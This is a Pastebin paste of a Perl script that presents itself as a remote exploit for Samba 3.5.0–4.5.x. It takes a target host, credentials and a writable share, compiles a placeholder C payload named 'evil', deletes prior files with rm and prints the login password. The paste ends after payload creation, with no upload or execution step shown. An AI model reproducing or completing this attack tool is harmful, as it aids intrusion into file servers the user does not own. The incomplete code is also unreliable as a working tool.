Advertisement
Guest User

Untitled

a guest
May 29th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.99 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. use POSIX;
  4. use Filesys::SmbClientParser;
  5. use strict;
  6. use warnings;
  7. use Getopt::Long qw(GetOptions);
  8.  
  9. my $evil = "#include <stdio.h>\n".'int main(void) { printf("hello world\n"); return 0;}';
  10. my $evil_file = 'evil.c';
  11.  
  12. sub create_evil()
  13. {
  14. system("rm evil.c"); #incase it is lingering around from previous hack attempts
  15. system("rm evil"); #same as above
  16. open(my $fh, '>', $evil_file) or die "[*]Could not open evil.c";
  17. print $fh $evil;
  18. close $fh;
  19. system("gcc evil.c -o evil");
  20. print "[*]Evil File Created Successfully!\n";
  21. }
  22.  
  23.  
  24. sub usage()
  25. {
  26. print "\n\n[*]Remote Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 By N4ss4r - N_A\n\n";
  27. print "[*]Usage: $0 --host hostname --port port --user user --password pass --share /path/to/writeable/share\n";
  28. exit;
  29. }
  30.  
  31.  
  32. my $host; #host to attack
  33. my $port; #port on host to attack , default is 445
  34. my $user; #username on host to use, default is nobody
  35. my $password; #password to use, default is left as blank
  36. my $share; #path to the writable share to use
  37.  
  38. GetOptions('host=s' => \$host, 'port=s' => \$port,'user=s' => \$user, 'password=s' => \$password, 'share=s' => \$share,) or die usage();
  39.  
  40.  
  41.  
  42.  
  43. if(!$host)
  44. {
  45. usage();
  46. }
  47.  
  48. print "\n\n";
  49.  
  50. if(!$port)
  51. {
  52. print "[*]No Port Specified - Using Port 445 as default\n";
  53. $port = 445;
  54. }
  55.  
  56. if(!$user)
  57. {
  58. print "[*]No user specified - Using 'nobody' as default user\n";
  59. $user = "nobody";
  60. }
  61.  
  62. if(!$password)
  63. {
  64. print "[*]No password specified - Leaving password blank\n";
  65. $password = "";
  66. }
  67.  
  68.  
  69. if(!$share)
  70. {
  71. usage();
  72. }
  73.  
  74.  
  75. my $smb = new Filesys::SmbClientParser
  76. (undef,
  77. (
  78. user => $user,
  79. password => $password
  80. ));
  81.  
  82.  
  83. $smb->Host($host);
  84.  
  85. print "[*]Using Host: $host on port: $port\n";
  86. print "[*]Getting Shares on Host: $host on port: $port\n";
  87. print "[*]Username: $user\n";
  88. print "[*]Password: $password\n";
  89. print "[*]Attacking Share: $share on Host: $host Port: $port\n";
  90.  
  91. sleep(1);
  92.  
  93. print "[*]Creating Pure Evil\n";
  94. create_evil();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement